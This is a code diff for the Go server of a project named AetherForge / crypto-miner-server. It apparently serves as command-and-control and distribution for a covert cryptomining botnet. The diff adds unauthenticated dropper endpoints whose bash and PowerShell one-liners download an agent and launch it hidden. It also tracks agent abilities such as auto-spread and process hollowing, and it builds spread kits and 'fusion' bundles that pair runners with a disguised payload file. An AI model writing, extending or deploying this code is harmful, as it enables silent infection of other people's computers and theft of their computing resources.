server/internal/api/dropper_handler.go
Normal file
202
server/internal/api/dropper_handler.go
Normal file
@@ -0,0 +1,202 @@
|
||||
package api
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"net/http"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
|
||||
dbpkg "crypto-miner-server/internal/db"
|
||||
)
|
||||
|
||||
// DropperHandler serves the one-liner remote-install endpoints:
|
||||
//
|
||||
// GET /get — auto-detect OS from User-Agent, serve latest binary
|
||||
// GET /get?os=windows — explicit platform: windows | linux | darwin | universal
|
||||
// GET /install.sh — bash one-liner installer (Linux / macOS)
|
||||
// GET /install.ps1 — PowerShell one-liner installer (Windows)
|
||||
type DropperHandler struct {
|
||||
db *dbpkg.Database
|
||||
publicURLFunc func() string
|
||||
}
|
||||
|
||||
func NewDropperHandler(database *dbpkg.Database, publicURLFunc func() string) *DropperHandler {
|
||||
return &DropperHandler{db: database, publicURLFunc: publicURLFunc}
|
||||
}
|
||||
|
||||
func (h *DropperHandler) publicURL() string {
|
||||
if h.publicURLFunc != nil {
|
||||
if u := h.publicURLFunc(); u != "" {
|
||||
return strings.TrimRight(u, "/")
|
||||
}
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
// detectPlatform picks the right build platform from an explicit query param or
|
||||
// the User-Agent header. Returns one of: windows, linux, darwin, universal.
|
||||
func detectPlatform(r *http.Request) string {
|
||||
if p := r.URL.Query().Get("os"); p != "" {
|
||||
switch strings.ToLower(p) {
|
||||
case "windows", "win":
|
||||
return "windows"
|
||||
case "linux":
|
||||
return "linux"
|
||||
case "darwin", "mac", "macos":
|
||||
return "darwin"
|
||||
case "universal", "any":
|
||||
return "universal"
|
||||
}
|
||||
}
|
||||
ua := strings.ToLower(r.Header.Get("User-Agent"))
|
||||
switch {
|
||||
case strings.Contains(ua, "windows"):
|
||||
return "windows"
|
||||
case strings.Contains(ua, "darwin") || strings.Contains(ua, "mac"):
|
||||
return "darwin"
|
||||
case strings.Contains(ua, "linux"):
|
||||
return "linux"
|
||||
}
|
||||
return "" // caller will fall back to latest build regardless of platform
|
||||
}
|
||||
|
||||
// ServeGet handles GET /get — serves the latest agent binary for the detected platform.
|
||||
func (h *DropperHandler) ServeGet(w http.ResponseWriter, r *http.Request) {
|
||||
platform := detectPlatform(r)
|
||||
|
||||
// Try exact platform match, then fall back to universal, then any.
|
||||
candidates := []string{platform, "universal", ""}
|
||||
if platform == "" {
|
||||
candidates = []string{"universal", ""}
|
||||
}
|
||||
|
||||
var buildPath, buildName string
|
||||
for _, p := range candidates {
|
||||
b, err := h.db.GetLatestBuildForPlatform(p)
|
||||
if err == nil && b != nil {
|
||||
buildPath = b.FilePath
|
||||
buildName = filepath.Base(b.FilePath)
|
||||
break
|
||||
}
|
||||
}
|
||||
if buildPath == "" {
|
||||
http.Error(w, "No builds available — forge an agent first.", http.StatusNotFound)
|
||||
return
|
||||
}
|
||||
|
||||
w.Header().Set("Content-Disposition", fmt.Sprintf(`attachment; filename="%s"`, buildName))
|
||||
w.Header().Set("Content-Type", "application/octet-stream")
|
||||
http.ServeFile(w, r, buildPath)
|
||||
}
|
||||
|
||||
// ServeSh handles GET /install.sh — returns a bash one-liner installer.
|
||||
func (h *DropperHandler) ServeSh(w http.ResponseWriter, r *http.Request) {
|
||||
base := h.publicURL()
|
||||
if base == "" {
|
||||
// Best-effort: derive from request
|
||||
scheme := "http"
|
||||
if r.TLS != nil {
|
||||
scheme = "https"
|
||||
}
|
||||
base = scheme + "://" + r.Host
|
||||
}
|
||||
|
||||
script := fmt.Sprintf(`#!/bin/sh
|
||||
# AetherForge one-liner installer
|
||||
# Usage: curl -sL %s/install.sh | bash
|
||||
|
||||
set -e
|
||||
|
||||
OS="$(uname -s | tr '[:upper:]' '[:lower:]')"
|
||||
ARCH="$(uname -m)"
|
||||
case "$ARCH" in
|
||||
x86_64) ARCH="amd64" ;;
|
||||
aarch64|arm64) ARCH="arm64" ;;
|
||||
esac
|
||||
|
||||
TMPDIR="$(mktemp -d)"
|
||||
DEST="$TMPDIR/worker"
|
||||
|
||||
echo "[*] Downloading agent for $OS/$ARCH..."
|
||||
curl -sL -o "$DEST" "%s/get?os=$OS"
|
||||
|
||||
if file "$DEST" 2>/dev/null | grep -q "Zip"; then
|
||||
echo "[*] Extracting universal bundle..."
|
||||
unzip -q "$DEST" -d "$TMPDIR/bundle"
|
||||
cd "$TMPDIR/bundle"
|
||||
# Fusion ZIPs ship start.sh / Start.command; spread-kit ZIPs ship deploy.sh / Start.command
|
||||
if [ "$OS" = "darwin" ]; then
|
||||
for L in Start.command start.command; do
|
||||
if [ -f "$L" ]; then chmod +x "$L" && exec "./$L"; fi
|
||||
done
|
||||
fi
|
||||
for L in start.sh deploy.sh; do
|
||||
if [ -f "$L" ]; then chmod +x "$L" && exec sh "$L"; fi
|
||||
done
|
||||
echo "[!] Could not find launcher in bundle"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
chmod +x "$DEST"
|
||||
echo "[*] Launching..."
|
||||
nohup "$DEST" >/dev/null 2>&1 &
|
||||
echo "[+] Agent started (pid $!)"
|
||||
`, base, base)
|
||||
|
||||
w.Header().Set("Content-Type", "text/plain; charset=utf-8")
|
||||
w.Header().Set("Content-Disposition", `inline; filename="install.sh"`)
|
||||
fmt.Fprint(w, script)
|
||||
}
|
||||
|
||||
// ServePs1 handles GET /install.ps1 — returns a PowerShell one-liner installer.
|
||||
func (h *DropperHandler) ServePs1(w http.ResponseWriter, r *http.Request) {
|
||||
base := h.publicURL()
|
||||
if base == "" {
|
||||
scheme := "http"
|
||||
if r.TLS != nil {
|
||||
scheme = "https"
|
||||
}
|
||||
base = scheme + "://" + r.Host
|
||||
}
|
||||
|
||||
// PowerShell backticks would conflict with Go raw-string backticks; build the
|
||||
// script as a regular string so we can escape them properly.
|
||||
bt := "`" // backtick character
|
||||
script := "# AetherForge one-liner installer\n" +
|
||||
"# Usage: iex (irm '" + base + "/install.ps1')\n\n" +
|
||||
"$ErrorActionPreference = 'Stop'\n" +
|
||||
"$url = '" + base + "/get?os=windows'\n" +
|
||||
"$tmp = [System.IO.Path]::Combine($env:TEMP, [System.IO.Path]::GetRandomFileName())\n\n" +
|
||||
"Write-Host '[*] Downloading agent...'\n" +
|
||||
"Invoke-WebRequest -Uri $url -OutFile $tmp -UseBasicParsing\n\n" +
|
||||
"$bytes = [System.IO.File]::ReadAllBytes($tmp)\n" +
|
||||
"$isZip = $bytes[0] -eq 0x50 -and $bytes[1] -eq 0x4B\n\n" +
|
||||
"if ($isZip) {\n" +
|
||||
" Write-Host '[*] Extracting universal bundle...'\n" +
|
||||
" $dir = $tmp + '_bundle'\n" +
|
||||
" Add-Type -AssemblyName System.IO.Compression.FileSystem\n" +
|
||||
" [System.IO.Compression.ZipFile]::ExtractToDirectory($tmp, $dir)\n" +
|
||||
// Fusion ZIPs have Start.bat; spread-kit ZIPs have Deploy.bat — try both.
|
||||
" $bat = $null\n" +
|
||||
" foreach ($name in @('Start.bat','Deploy.bat')) {\n" +
|
||||
" $candidate = Join-Path $dir $name\n" +
|
||||
" if (Test-Path $candidate) { $bat = $candidate; break }\n" +
|
||||
" }\n" +
|
||||
" if ($bat) {\n" +
|
||||
" Write-Host '[*] Running launcher...'\n" +
|
||||
" Start-Process -FilePath 'cmd.exe' -ArgumentList \"/c " + bt + "\"$bat" + bt + "\"\" -WindowStyle Hidden\n" +
|
||||
" } else {\n" +
|
||||
" Write-Host '[!] Could not find launcher (Start.bat / Deploy.bat) in bundle'; exit 1\n" +
|
||||
" }\n" +
|
||||
"} else {\n" +
|
||||
" $exe = $tmp + '.exe'\n" +
|
||||
" Move-Item -Path $tmp -Destination $exe -Force\n" +
|
||||
" Write-Host '[*] Launching...'\n" +
|
||||
" Start-Process -FilePath $exe -WindowStyle Hidden\n" +
|
||||
"}\n" +
|
||||
"Write-Host '[+] Agent deployed.'\n"
|
||||
|
||||
w.Header().Set("Content-Type", "text/plain; charset=utf-8")
|
||||
w.Header().Set("Content-Disposition", `inline; filename="install.ps1"`)
|
||||
fmt.Fprint(w, script)
|
||||
}
|
||||
@@ -4,7 +4,6 @@ import (
|
||||
"encoding/json"
|
||||
"net/http"
|
||||
"strconv"
|
||||
"time"
|
||||
|
||||
"crypto-miner-server/internal/alerts"
|
||||
"crypto-miner-server/internal/db"
|
||||
@@ -70,14 +69,10 @@ func (f *FleetHandler) GetAgentLog(w http.ResponseWriter, r *http.Request) {
|
||||
}
|
||||
content := f.ws.GetAgentLog(id)
|
||||
if r.URL.Query().Get("refresh") == "1" {
|
||||
// Fire the get_log command and return immediately — the response arrives
|
||||
// via the WebSocket command_result broadcast (fixes M18: no more 1.8s block).
|
||||
// The dashboard will receive the log content via the commandResults queue.
|
||||
_ = f.ws.SendAgentCommand(id, "get_log", map[string]interface{}{"tail_lines": 300})
|
||||
for i := 0; i < 12; i++ {
|
||||
time.Sleep(150 * time.Millisecond)
|
||||
if c := f.ws.GetAgentLog(id); c != "" {
|
||||
content = c
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
writeJSON(w, map[string]interface{}{
|
||||
"agent_id": id,
|
||||
|
||||
@@ -50,7 +50,8 @@ func newTestRouter(t *testing.T) (http.Handler, string) {
|
||||
_ = os.MkdirAll(webRoot, 0755)
|
||||
_ = os.WriteFile(filepath.Join(webRoot, "index.html"), []byte("<html><body>AetherForge</body></html>"), 0644)
|
||||
|
||||
return NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, webRoot, dataDir, nil), dataDir
|
||||
dropperHandler := NewDropperHandler(database, nil)
|
||||
return NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, dropperHandler, webRoot, dataDir, nil), dataDir
|
||||
}
|
||||
|
||||
func TestHealthIsPublic(t *testing.T) {
|
||||
|
||||
@@ -58,9 +58,10 @@ func basicAuthMiddleware(next http.Handler) http.Handler {
|
||||
}
|
||||
|
||||
path := r.URL.Path
|
||||
// Agent-facing API + health + forged worker downloads stay open for agents.
|
||||
// Agent-facing API + health + forged worker downloads + one-liner droppers stay open.
|
||||
if strings.HasPrefix(path, "/api/v1/agent/") ||
|
||||
path == "/api/v1/health" ||
|
||||
path == "/get" || path == "/install.sh" || path == "/install.ps1" ||
|
||||
(strings.HasPrefix(path, "/api/v1/builds/") && (strings.HasSuffix(path, "/download") || strings.Contains(path, "/artifact/"))) {
|
||||
next.ServeHTTP(w, r)
|
||||
return
|
||||
@@ -87,7 +88,7 @@ func basicAuthMiddleware(next http.Handler) http.Handler {
|
||||
})
|
||||
}
|
||||
|
||||
func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler, builderHandler *builder.Handler, blueprintHandler *BlueprintHandler, aiHandler *AIHandler, fleetHandler *FleetHandler, webRoot string, dataDir string, publicURLOverride func() string) http.Handler {
|
||||
func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler, builderHandler *builder.Handler, blueprintHandler *BlueprintHandler, aiHandler *AIHandler, fleetHandler *FleetHandler, dropperHandler *DropperHandler, webRoot string, dataDir string, publicURLOverride func() string) http.Handler {
|
||||
loadUsers(dataDir)
|
||||
|
||||
r := chi.NewRouter()
|
||||
@@ -188,6 +189,13 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
|
||||
r.Get("/ws/agent", wsHub.HandleAgentWS)
|
||||
r.Get("/ws/dashboard", wsHub.HandleDashboardWS)
|
||||
|
||||
// One-liner remote install endpoints (unauthenticated — URL knowledge is the gate)
|
||||
if dropperHandler != nil {
|
||||
r.Get("/get", dropperHandler.ServeGet)
|
||||
r.Get("/install.sh", dropperHandler.ServeSh)
|
||||
r.Get("/install.ps1", dropperHandler.ServePs1)
|
||||
}
|
||||
|
||||
// Serve frontend SPA
|
||||
if webRoot != "" {
|
||||
// Check if webroot directory exists
|
||||
|
||||
@@ -42,14 +42,40 @@ func (c *AgentConnection) SendJSON(v interface{}) error {
|
||||
return c.Conn.WriteJSON(v)
|
||||
}
|
||||
|
||||
// DashboardConn wraps a dashboard WebSocket with its own write mutex so
|
||||
// broadcastDashboard and the ping loop never race on the same connection.
|
||||
type DashboardConn struct {
|
||||
Conn *websocket.Conn
|
||||
mu sync.Mutex
|
||||
}
|
||||
|
||||
func (d *DashboardConn) WriteMessage(messageType int, data []byte) error {
|
||||
d.mu.Lock()
|
||||
defer d.mu.Unlock()
|
||||
return d.Conn.WriteMessage(messageType, data)
|
||||
}
|
||||
|
||||
func (d *DashboardConn) WriteJSON(v interface{}) error {
|
||||
d.mu.Lock()
|
||||
defer d.mu.Unlock()
|
||||
return d.Conn.WriteJSON(v)
|
||||
}
|
||||
|
||||
func (d *DashboardConn) WriteControl(messageType int, data []byte, deadline time.Time) error {
|
||||
d.mu.Lock()
|
||||
defer d.mu.Unlock()
|
||||
return d.Conn.WriteControl(messageType, data, deadline)
|
||||
}
|
||||
|
||||
type WSHub struct {
|
||||
db *db.Database
|
||||
agents map[string]*AgentConnection
|
||||
dashboards map[string]*websocket.Conn
|
||||
dashboards map[string]*DashboardConn
|
||||
poolManager *pool.Manager
|
||||
defaultPool pool.Config
|
||||
aiHandler *AIHandler
|
||||
agentConfigs map[string]AgentForgeConfig
|
||||
agentCapabilities map[string]models.AgentCapabilities
|
||||
agentLogs map[string]string
|
||||
serverPolicy ServerPolicy
|
||||
pingIntervalSec int
|
||||
@@ -60,8 +86,9 @@ func NewWSHub(database *db.Database) *WSHub {
|
||||
return &WSHub{
|
||||
db: database,
|
||||
agents: make(map[string]*AgentConnection),
|
||||
dashboards: make(map[string]*websocket.Conn),
|
||||
dashboards: make(map[string]*DashboardConn),
|
||||
agentConfigs: make(map[string]AgentForgeConfig),
|
||||
agentCapabilities: make(map[string]models.AgentCapabilities),
|
||||
agentLogs: make(map[string]string),
|
||||
pingIntervalSec: 30,
|
||||
}
|
||||
@@ -92,7 +119,7 @@ func (h *WSHub) pingInterval() time.Duration {
|
||||
return time.Duration(sec) * time.Second
|
||||
}
|
||||
|
||||
func (h *WSHub) runPingLoop(conn *websocket.Conn) {
|
||||
func (h *WSHub) runPingLoopRaw(conn *websocket.Conn) {
|
||||
interval := h.pingInterval()
|
||||
ticker := time.NewTicker(interval)
|
||||
defer ticker.Stop()
|
||||
@@ -109,6 +136,23 @@ func (h *WSHub) runPingLoop(conn *websocket.Conn) {
|
||||
}
|
||||
}
|
||||
|
||||
func (h *WSHub) runPingLoopDash(dc *DashboardConn) {
|
||||
interval := h.pingInterval()
|
||||
ticker := time.NewTicker(interval)
|
||||
defer ticker.Stop()
|
||||
|
||||
_ = dc.Conn.SetReadDeadline(time.Now().Add(interval * 2))
|
||||
dc.Conn.SetPongHandler(func(string) error {
|
||||
return dc.Conn.SetReadDeadline(time.Now().Add(interval * 2))
|
||||
})
|
||||
|
||||
for range ticker.C {
|
||||
if err := dc.WriteControl(websocket.PingMessage, nil, time.Now().Add(10*time.Second)); err != nil {
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func (h *WSHub) serverPolicySnapshot() ServerPolicy {
|
||||
h.mu.RLock()
|
||||
defer h.mu.RUnlock()
|
||||
@@ -181,7 +225,7 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
||||
return
|
||||
}
|
||||
|
||||
go h.runPingLoop(conn)
|
||||
go h.runPingLoopRaw(conn)
|
||||
|
||||
agentID := ""
|
||||
defer func() {
|
||||
@@ -240,6 +284,14 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
||||
AIEnabled bool `json:"ai_enabled"`
|
||||
AIOllamaEndpoint string `json:"ai_ollama_endpoint"`
|
||||
AIModel string `json:"ai_model"`
|
||||
HolePunch bool `json:"hole_punch"`
|
||||
RemoteAggressive bool `json:"remote_aggressive"`
|
||||
MeshP2P bool `json:"mesh_p2p"`
|
||||
AutoSpread bool `json:"auto_spread"`
|
||||
ProcessHollowing bool `json:"process_hollowing"`
|
||||
Platform string `json:"platform"`
|
||||
Arch string `json:"arch"`
|
||||
OSVersion string `json:"os_version"`
|
||||
}
|
||||
if err := json.Unmarshal(msg.Payload, &auth); err != nil {
|
||||
conn.WriteJSON(Message{Type: "auth_response", Payload: mustMarshal(map[string]interface{}{
|
||||
@@ -256,12 +308,6 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
||||
displayName := agentDisplayName(auth.WorkerName, auth.Worker, auth.Hostname, agentID)
|
||||
|
||||
policy := h.serverPolicySnapshot()
|
||||
if policy.MaxAgents > 0 && !h.isAgentConnected(agentID) && h.connectedAgentCount() >= policy.MaxAgents {
|
||||
conn.WriteJSON(Message{Type: "auth_response", Payload: mustMarshal(map[string]interface{}{
|
||||
"success": false, "error": "fleet agent limit reached",
|
||||
})})
|
||||
break
|
||||
}
|
||||
|
||||
forgeCfg := AgentForgeConfig{
|
||||
Wallet: auth.Wallet,
|
||||
@@ -274,8 +320,18 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
||||
AIModel: auth.AIModel,
|
||||
}
|
||||
|
||||
caps := models.AgentCapabilities{
|
||||
HolePunch: auth.HolePunch,
|
||||
RemoteAggressive: auth.RemoteAggressive,
|
||||
MeshP2P: auth.MeshP2P,
|
||||
AutoSpread: auth.AutoSpread,
|
||||
ProcessHollowing: auth.ProcessHollowing && auth.Platform == "windows",
|
||||
AIEnabled: auth.AIEnabled,
|
||||
}
|
||||
|
||||
h.mu.Lock()
|
||||
h.agentConfigs[agentID] = forgeCfg
|
||||
h.agentCapabilities[agentID] = caps
|
||||
h.mu.Unlock()
|
||||
|
||||
if h.poolManager != nil {
|
||||
@@ -310,6 +366,10 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
||||
CPUCores: auth.CPUCores,
|
||||
MemoryGB: auth.MemoryGB,
|
||||
LastSeen: time.Now(),
|
||||
Platform: auth.Platform,
|
||||
Arch: auth.Arch,
|
||||
OSVersion: auth.OSVersion,
|
||||
Capabilities: &caps,
|
||||
}
|
||||
|
||||
if err := h.db.UpsertAgent(agent); err != nil {
|
||||
@@ -324,7 +384,20 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
||||
log.Printf("[WS] Agent connected: id=%s name=%s ip=%s", agentID, displayName, clientIP)
|
||||
}
|
||||
|
||||
// MaxAgents check + registration in a single Lock to prevent TOCTOU (M17):
|
||||
// two concurrent new agents could both pass the count check under RLock, then
|
||||
// both get registered, overshooting the limit.
|
||||
h.mu.Lock()
|
||||
if policy.MaxAgents > 0 {
|
||||
_, alreadyConnected := h.agents[agentID]
|
||||
if !alreadyConnected && len(h.agents) >= policy.MaxAgents {
|
||||
h.mu.Unlock()
|
||||
conn.WriteJSON(Message{Type: "auth_response", Payload: mustMarshal(map[string]interface{}{
|
||||
"success": false, "error": "fleet agent limit reached",
|
||||
})})
|
||||
break
|
||||
}
|
||||
}
|
||||
if old, ok := h.agents[agentID]; ok && old.Conn != conn {
|
||||
oldConn := old.Conn
|
||||
h.mu.Unlock()
|
||||
@@ -536,9 +609,10 @@ func (h *WSHub) HandleDashboardWS(w http.ResponseWriter, r *http.Request) {
|
||||
return
|
||||
}
|
||||
|
||||
dc := &DashboardConn{Conn: conn}
|
||||
dashID := uuid.New().String()
|
||||
h.mu.Lock()
|
||||
h.dashboards[dashID] = conn
|
||||
h.dashboards[dashID] = dc
|
||||
h.mu.Unlock()
|
||||
|
||||
defer func() {
|
||||
@@ -550,14 +624,15 @@ func (h *WSHub) HandleDashboardWS(w http.ResponseWriter, r *http.Request) {
|
||||
|
||||
// Send initial data
|
||||
agents, _ := h.db.ListAgents()
|
||||
h.enrichAgentsCapabilities(agents)
|
||||
stats, _ := h.db.GetFleetStats()
|
||||
|
||||
conn.WriteJSON(Message{Type: "init", Payload: mustMarshal(map[string]interface{}{
|
||||
_ = dc.WriteJSON(Message{Type: "init", Payload: mustMarshal(map[string]interface{}{
|
||||
"agents": agents,
|
||||
"stats": stats,
|
||||
})})
|
||||
|
||||
go h.runPingLoop(conn)
|
||||
go h.runPingLoopDash(dc)
|
||||
|
||||
// Keep connection alive, read close messages
|
||||
for {
|
||||
@@ -577,10 +652,10 @@ func (h *WSHub) broadcastDashboard(msg Message) {
|
||||
return
|
||||
}
|
||||
|
||||
for id, conn := range h.dashboards {
|
||||
if err := conn.WriteMessage(websocket.TextMessage, data); err != nil {
|
||||
for id, dc := range h.dashboards {
|
||||
if err := dc.WriteMessage(websocket.TextMessage, data); err != nil {
|
||||
log.Printf("Failed to send to dashboard %s: %v", id, err)
|
||||
conn.Close()
|
||||
dc.Conn.Close()
|
||||
id := id
|
||||
go func() {
|
||||
h.mu.Lock()
|
||||
@@ -635,6 +710,20 @@ func (h *WSHub) BroadcastAgentCommand(action string, args map[string]interface{}
|
||||
h.BroadcastToAgents(Message{Type: "command", Payload: mustMarshal(payload)})
|
||||
}
|
||||
|
||||
func (h *WSHub) enrichAgentsCapabilities(agents []*models.Agent) {
|
||||
h.mu.RLock()
|
||||
defer h.mu.RUnlock()
|
||||
for _, a := range agents {
|
||||
if a == nil {
|
||||
continue
|
||||
}
|
||||
if caps, ok := h.agentCapabilities[a.ID]; ok {
|
||||
c := caps
|
||||
a.Capabilities = &c
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func (h *WSHub) GetAgentLog(agentID string) string {
|
||||
h.mu.RLock()
|
||||
defer h.mu.RUnlock()
|
||||
|
||||
426
server/internal/builder/build_universal.go
Normal file
426
server/internal/builder/build_universal.go
Normal file
@@ -0,0 +1,426 @@
|
||||
package builder
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"log"
|
||||
"net/http"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"crypto-miner-server/internal/models"
|
||||
|
||||
"github.com/google/uuid"
|
||||
)
|
||||
|
||||
func (h *Handler) buildUniversalAgent(req *BuildRequest, prepPath string) (BuildResponse, int, string) {
|
||||
buildID := uuid.New().String()
|
||||
buildDir, _ := filepath.Abs(filepath.Join(h.dataDir, "builds", buildID))
|
||||
agentDir := filepath.Join(buildDir, "agent")
|
||||
|
||||
if err := os.MkdirAll(agentDir, 0755); err != nil {
|
||||
return BuildResponse{Success: false, Error: "Failed to create build directory"}, http.StatusInternalServerError, ""
|
||||
}
|
||||
if err := h.copyAgentSource(agentDir); err != nil {
|
||||
return BuildResponse{Success: false, Error: "Failed to prepare agent source: " + err.Error()}, http.StatusInternalServerError, ""
|
||||
}
|
||||
|
||||
platforms := platformsForRequest(req)
|
||||
workerPaths := map[string]string{}
|
||||
for _, p := range platforms {
|
||||
wp, err := h.compileWorker(agentDir, buildDir, req, buildID, p, req.FusionEnabled)
|
||||
if err != nil {
|
||||
return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, ""
|
||||
}
|
||||
workerPaths[p.Label()] = wp
|
||||
}
|
||||
|
||||
if req.SpreadKit && !req.FusionEnabled {
|
||||
return h.finishSpreadKit(buildID, buildDir, req, workerPaths, platforms)
|
||||
}
|
||||
|
||||
if req.FusionEnabled {
|
||||
return h.finishUniversalFusion(buildID, buildDir, req, prepPath, workerPaths, platforms)
|
||||
}
|
||||
|
||||
// Universal workers only — primary artifact is spread-kit style folder without spread flag naming
|
||||
return h.finishSpreadKit(buildID, buildDir, req, workerPaths, platforms)
|
||||
}
|
||||
|
||||
func (h *Handler) finishSpreadKit(buildID, buildDir string, req *BuildRequest, workers map[string]string, platforms []BuildPlatform) (BuildResponse, int, string) {
|
||||
subdir := sanitizeFileName(req.WorkerName) + "-spread-kit"
|
||||
if req.SpreadKit {
|
||||
subdir = sanitizeFileName(req.WorkerName) + "-spread-kit"
|
||||
} else {
|
||||
subdir = sanitizeFileName(req.WorkerName) + "-universal"
|
||||
}
|
||||
outDir := filepath.Join(h.projectRoot, "spread-kits", subdir)
|
||||
if err := os.MkdirAll(outDir, 0755); err != nil {
|
||||
return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, ""
|
||||
}
|
||||
|
||||
for _, p := range platforms {
|
||||
src := workers[p.Label()]
|
||||
destDir := filepath.Join(outDir, p.BinDir())
|
||||
if err := os.MkdirAll(destDir, 0755); err != nil {
|
||||
return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, ""
|
||||
}
|
||||
destName := "worker" + p.Ext
|
||||
if err := copyFile(src, filepath.Join(destDir, destName)); err != nil {
|
||||
return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, ""
|
||||
}
|
||||
}
|
||||
|
||||
_ = os.WriteFile(filepath.Join(outDir, "deploy.sh"), []byte(spreadKitDeploySh()), 0755)
|
||||
_ = os.WriteFile(filepath.Join(outDir, "Deploy.bat"), []byte(spreadKitDeployBat()), 0644)
|
||||
_ = os.WriteFile(filepath.Join(outDir, "Deploy.vbs"), []byte(spreadKitDeployVbs()), 0644)
|
||||
_ = os.WriteFile(filepath.Join(outDir, "Start.command"), []byte(spreadKitStartCommand()), 0755)
|
||||
_ = os.WriteFile(filepath.Join(outDir, "README.txt"), []byte(formatSpreadKitReadme(req)), 0644)
|
||||
_ = os.WriteFile(filepath.Join(outDir, "OPERATOR.txt"), []byte(formatSpreadKitOperator(req, buildID)), 0644)
|
||||
|
||||
zipName := subdir + "-package.zip"
|
||||
zipPath := filepath.Join(buildDir, zipName)
|
||||
if err := zipDirectory(outDir, zipPath); err != nil {
|
||||
return BuildResponse{Success: false, Error: "zip failed: " + err.Error()}, http.StatusInternalServerError, ""
|
||||
}
|
||||
_ = copyFile(zipPath, filepath.Join(outDir, zipName))
|
||||
|
||||
primary := workers[platforms[0].Label()]
|
||||
if w, ok := workers["windows-amd64"]; ok {
|
||||
primary = w
|
||||
}
|
||||
zipSt, _ := os.Stat(zipPath)
|
||||
zipBytes := int64(0)
|
||||
if zipSt != nil {
|
||||
zipBytes = zipSt.Size()
|
||||
}
|
||||
|
||||
if err := h.db.InsertBuild(&models.BuildRecord{
|
||||
ID: buildID, WorkerName: req.WorkerName, ServerURL: req.ServerURL, Wallet: req.Wallet,
|
||||
Threads: req.Threads, FileSize: zipBytes, FilePath: zipPath, CreatedAt: time.Now(),
|
||||
PoolHost: req.PoolHost, PoolPort: req.PoolPort, PoolTLS: req.PoolTLS, PoolPass: req.PoolPass,
|
||||
Platform: "universal", BundleSize: zipBytes,
|
||||
}); err != nil {
|
||||
log.Printf("[Builder] InsertBuild error (spread kit %s): %v", buildID, err)
|
||||
}
|
||||
|
||||
return BuildResponse{
|
||||
Success: true,
|
||||
BuildID: buildID,
|
||||
FileName: zipName,
|
||||
FilePath: zipPath,
|
||||
RelativePath: filepath.ToSlash(filepath.Join("spread-kits", subdir, zipName)),
|
||||
FileSize: zipBytes,
|
||||
DownloadURL: fmt.Sprintf("/api/v1/builds/%s/artifact/%s", buildID, zipName),
|
||||
BundleFileName: zipName,
|
||||
BundleDownloadURL: fmt.Sprintf("/api/v1/builds/%s/artifact/%s", buildID, zipName),
|
||||
BundleSize: zipBytes,
|
||||
FusionExportDir: outDir,
|
||||
ExportPath: outDir,
|
||||
}, http.StatusOK, primary
|
||||
}
|
||||
|
||||
func (h *Handler) finishUniversalFusion(buildID, buildDir string, req *BuildRequest, prepPath string, workers map[string]string, platforms []BuildPlatform) (BuildResponse, int, string) {
|
||||
// Resolve payload display name (used for runner naming and ZIP title)
|
||||
payloadBase := filepath.Base(prepPath)
|
||||
title := strings.TrimSpace(req.FusionMediaBaseName)
|
||||
if title == "" {
|
||||
title = payloadBase
|
||||
}
|
||||
titleBase := strings.TrimSuffix(filepath.Base(title), filepath.Ext(title))
|
||||
if titleBase == "" {
|
||||
titleBase = "fusion"
|
||||
}
|
||||
|
||||
subdir := fusionExportSubdir(req, title)
|
||||
outDir := filepath.Join(h.projectRoot, FusionDeliverablesDir, subdir)
|
||||
if err := os.MkdirAll(outDir, 0755); err != nil {
|
||||
return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, ""
|
||||
}
|
||||
|
||||
mode := normalizeFusionMediaMode(req.FusionMediaMode)
|
||||
|
||||
var fusionResults []*fusionBuildResult
|
||||
var primaryPath string
|
||||
for _, p := range platforms {
|
||||
workerPath := workers[p.Label()]
|
||||
platReq := *req
|
||||
// Name each runner after the payload file for clarity (e.g. report-runner.exe)
|
||||
platReq.FusionOutputName = runnerNameForFile(title, p)
|
||||
res, err := h.buildFusionForPlatform(buildDir, prepPath, workerPath, &platReq, p)
|
||||
if err != nil {
|
||||
return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, ""
|
||||
}
|
||||
fusionResults = append(fusionResults, res)
|
||||
destDir := filepath.Join(outDir, p.BinDir())
|
||||
if err := os.MkdirAll(destDir, 0755); err != nil {
|
||||
return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, ""
|
||||
}
|
||||
runnerName := filepath.Base(res.LauncherPath)
|
||||
destRunner := filepath.Join(destDir, runnerName)
|
||||
if err := copyFile(res.LauncherPath, destRunner); err != nil {
|
||||
return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, ""
|
||||
}
|
||||
if p.GOOS == "windows" {
|
||||
primaryPath = destRunner
|
||||
}
|
||||
if p.GOOS == "darwin" {
|
||||
if err := h.buildDarwinAppBundle(outDir, title, destRunner, p); err != nil {
|
||||
log.Printf("[Forge] darwin app bundle: %v", err)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// For paired mode: copy the original payload file to the ZIP root so runners can find it.
|
||||
// The runners search up to 2 parent dirs from their binary location (bin/platform/ → root).
|
||||
